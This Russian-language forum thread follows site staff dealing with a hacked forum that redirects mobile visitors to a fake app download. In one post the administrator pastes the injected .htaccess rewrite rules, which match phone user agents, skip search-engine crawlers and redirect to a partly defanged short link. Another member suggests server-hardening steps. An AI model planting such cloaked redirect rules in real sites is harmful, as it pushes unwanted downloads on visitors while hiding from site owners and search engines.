На форуме вирус для платформы андроид!!!

Lexx

Администратор
Команда форума
Регистрация
17 Авг 2009
Сообщения
2.403
Возраст
45
На данный момент на форуме присутсвует непонятный вирус, который виден на платформе андроид.
Он делает автоматическую пересылку и скачивание стороннего контента.
На данный момент проблема решается.
 

Alecks

Постоянный пользователь
Регистрация
16 Янв 2012
Сообщения
1.100
Да, вчера с телефона хотел зайти на наш форум - перескакивает на другую страницу и предлагает скачать какую-то прогу (Вконтакте).
 

Lexx

Администратор
Команда форума
Регистрация
17 Авг 2009
Сообщения
2.403
Возраст
45
вот такая вот фигня(((((((((((((((((((((

RewriteEngine on RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone) [NC] RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|dcpbot|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|yahoo!\ slurp|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC] RewriteRule (.*) http://goo(чтоб зайти, вместо данной надписи, надо поставить точку. Я вам этого делать не советую!)gl/YS5ml [L,R=302]
 

Pianist-74

Полковник
Команда форума
Регистрация
7 Июн 2012
Сообщения
2.375
У меня bada - работает отлично!
 

Alecks

Постоянный пользователь
Регистрация
16 Янв 2012
Сообщения
1.100
По ссылке Лекса даже на ПК пытается установить Оперу Мини.
 

Lexx

Администратор
Команда форума
Регистрация
17 Авг 2009
Сообщения
2.403
Возраст
45
Все починено!!!
Спасибо моему другу, Александру (который тут присутствует по ником Админ), в очередной раз за скорую помощь :yahoo!:
 

Дядя Ваня

Super Moderator
Команда форума
Регистрация
11 Мар 2012
Сообщения
1.789
Возраст
43
Супер! Спасибо!!!
 

Lexx

Администратор
Команда форума
Регистрация
17 Авг 2009
Сообщения
2.403
Возраст
45
Сейчас опять происходит профилактика(((
Откуда все берется, выяснем!
 

Alecks

Постоянный пользователь
Регистрация
16 Янв 2012
Сообщения
1.100
Опять был вирус несколько часов назад, сейчас - ок.
 

Pianist-74

Полковник
Команда форума
Регистрация
7 Июн 2012
Сообщения
2.375
Все переходите на Bada!!!!!!!
 

Jam

...
Команда форума
Регистрация
13 Июн 2012
Сообщения
4.166
...у меня на андроиде нет с форумом проблем...
 

nitro2005

Пользователь
Регистрация
11 Дек 2010
Сообщения
356
Вычищайте VPS, скорее всего чтобы изменить .htaccess взломщики заполучили доступ к shell. Нужно смотреть какие юзеры имеют доступ по ssh/sftp, если есть лишние/новые - удалить, на старых - поменять пароли. А лучше пользоваться авторизацией через открытый ключ, поменять порт ssh со стандартного 22 на какой-нибудь другой, закрыть доступ через файрволл. Ну а если уж доступ по паролю - поставить что-нибудь для защиты от подбора паролей, типа denyhosts или fail2ban.

P.S. ну и софтину форума, я полагаю, уже обновили.
 
Последнее редактирование:

Pianist-74

Полковник
Команда форума
Регистрация
7 Июн 2012
Сообщения
2.375
:D Лёш, что ответишь?
 

Lexx

Администратор
Команда форума
Регистрация
17 Авг 2009
Сообщения
2.403
Возраст
45
В общем борьба продолжается(((
Смена хостинга и обновления форума не помогут, т.к. запускается сторонний скрипт.
Пароли поменены, доступ по фтп вообще меняется каждый раз.
Антивирусы не помогают, т.к. скрипт по сути не вирус(
 

Jam

...
Команда форума
Регистрация
13 Июн 2012
Сообщения
4.166
...может я чего не догоняю, но у меня на андроиде 4.1 с форумом никаких проблем не возникало и не возникает сейчас...никуда не редиректится и ничего не скачивается...что я делаю не так?...:)
 

nitro2005

Пользователь
Регистрация
11 Дек 2010
Сообщения
356
...может я чего не догоняю, но у меня на андроиде 4.1 с форумом никаких проблем не возникало и не возникает сейчас...никуда не редиректится и ничего не скачивается...что я делаю не так?...:)
Может на вашей версии уже стоит какая-нибудь пропатченая версия оперы, либо выдает подпись неоригинального User-Agent (как у Desktop-версии).

А что за сторонний скрипт? Даже интересно. Может чем смогу помочь?
 

Lexx

Администратор
Команда форума
Регистрация
17 Авг 2009
Сообщения
2.403
Возраст
45
Опять, вылез баг(((
Пытаемся устранить локально, т.к. скоро собирались переезжать!
 
Сверху Снизу